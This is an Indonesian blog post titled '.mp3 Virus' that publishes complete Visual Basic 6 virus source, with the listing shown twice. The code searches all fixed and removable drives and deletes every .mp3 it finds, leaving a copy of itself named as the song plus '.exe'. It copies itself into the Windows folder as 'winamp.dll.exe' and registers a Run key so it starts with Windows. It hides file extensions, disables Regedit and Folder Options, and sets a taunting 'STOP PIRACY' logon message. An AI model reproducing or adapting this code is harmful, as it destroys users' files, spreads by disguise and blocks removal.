.mp3 Virus
Option Explicit
'///////////////Penangkap Hardisk/////////////////////////
Private Declare Function GetDriveType Lib "kernel32" _
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private sDrives() As String
'/////////////////////////////////////////////////////////
'///////////////Deklarasi Penangkap File//////////////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private pbMessage As Boolean
'/////////////////////////////////////////////////////////
'////////////////Deklarasi copy ke windows///////////////
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'///////////////////////////////////////////////////////
'////////////////Deklarasi copy ke windows///////////////
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
'///////////////////////////////////////////////////////
'///////////////////////Sub Perangkap Hardisk/////////////
Sub cari()
Dim ictr As Integer
'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then
For ictr = 0 To UBound(sDrives)
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
GetFiles sDrives(ictr), True, "*.mp3"
Next
'Else
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
' frmMain.GetFiles cboDrives.Text, True, "*.doc"
'End If
' frmMain.Visible = True
End Sub
Sub hardisk()
Dim ictr As Integer
Dim iDriveCount As Integer
Dim sAllDrives As String
Dim sDrive As String
ReDim sDrives(0) As String
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then
If sAllDrives <> "" Then sAllDrives = sAllDrives & ", "
sAllDrives = sAllDrives & sDrive
iDriveCount = iDriveCount + 1
End If
Next
'If iDriveCount > 1 Then
' sAllDrives = "All Hard Drives (" & sAllDrives & ")"
' cboDrives.AddItem sAllDrives
'End If
'cboDrives.ListIndex = 0
'EnableSearch
End Sub
Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function
'//////////////////////////////////////////////////////////////////////
'//////////////////////////////Sub perangkap File/////////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
'Screen.MousePointer = vbHourglass
'Dim li As ListItem
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
Dim bawa As Long
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
On Error Resume Next
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
'Set li = Nothing
'Screen.MousePointer = vbDefault
End Sub
Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function
Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
'////////////////////////////////////////////////////////////////////
Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\winamp.dll.exe"
End Sub
'//////////////////Kode Pertahanan////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
'/////////////////////////////////////////
'//////////////////MAIN///////////////////
Sub Main()
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3", _
titik & "c:\windows\winamp.dll.exe" & titik
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!"
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "Stop pembajakan Musisi Dalam Negeri, Jangan Gunakan MP3 lagi (sok sok an) huahahahahaha!!!"
Shell "taskkill /f /im winamp.exe", vbHide
hardisk
cari
kopikewindows
End Sub
'/////////////////////////////////////////
Posted on 23.51 by aZi and filed under
Source Code
| 0 Comments »
'///////////////Penangkap Hardisk/////////////////////////
Private Declare Function GetDriveType Lib "kernel32" _
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private sDrives() As String
'/////////////////////////////////////////////////////////
'///////////////Deklarasi Penangkap File//////////////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private pbMessage As Boolean
'/////////////////////////////////////////////////////////
'////////////////Deklarasi copy ke windows///////////////
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'///////////////////////////////////////////////////////
'////////////////Deklarasi copy ke windows///////////////
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
'///////////////////////////////////////////////////////
'///////////////////////Sub Perangkap Hardisk/////////////
Sub cari()
Dim ictr As Integer
'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then
For ictr = 0 To UBound(sDrives)
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
GetFiles sDrives(ictr), True, "*.mp3"
Next
'Else
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
' frmMain.GetFiles cboDrives.Text, True, "*.doc"
'End If
' frmMain.Visible = True
End Sub
Sub hardisk()
Dim ictr As Integer
Dim iDriveCount As Integer
Dim sAllDrives As String
Dim sDrive As String
ReDim sDrives(0) As String
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then
If sAllDrives <> "" Then sAllDrives = sAllDrives & ", "
sAllDrives = sAllDrives & sDrive
iDriveCount = iDriveCount + 1
End If
Next
'If iDriveCount > 1 Then
' sAllDrives = "All Hard Drives (" & sAllDrives & ")"
' cboDrives.AddItem sAllDrives
'End If
'cboDrives.ListIndex = 0
'EnableSearch
End Sub
Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function
'//////////////////////////////////////////////////////////////////////
'//////////////////////////////Sub perangkap File/////////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
'Screen.MousePointer = vbHourglass
'Dim li As ListItem
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
Dim bawa As Long
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
On Error Resume Next
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
'Set li = Nothing
'Screen.MousePointer = vbDefault
End Sub
Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function
Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
'////////////////////////////////////////////////////////////////////
Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\winamp.dll.exe"
End Sub
'//////////////////Kode Pertahanan////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
'/////////////////////////////////////////
'//////////////////MAIN///////////////////
Sub Main()
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3", _
titik & "c:\windows\winamp.dll.exe" & titik
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!"
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "Stop pembajakan Musisi Dalam Negeri, Jangan Gunakan MP3 lagi (sok sok an) huahahahahaha!!!"
Shell "taskkill /f /im winamp.exe", vbHide
hardisk
cari
kopikewindows
End Sub
'/////////////////////////////////////////
Postingan
0 komentar:
Posting Komentar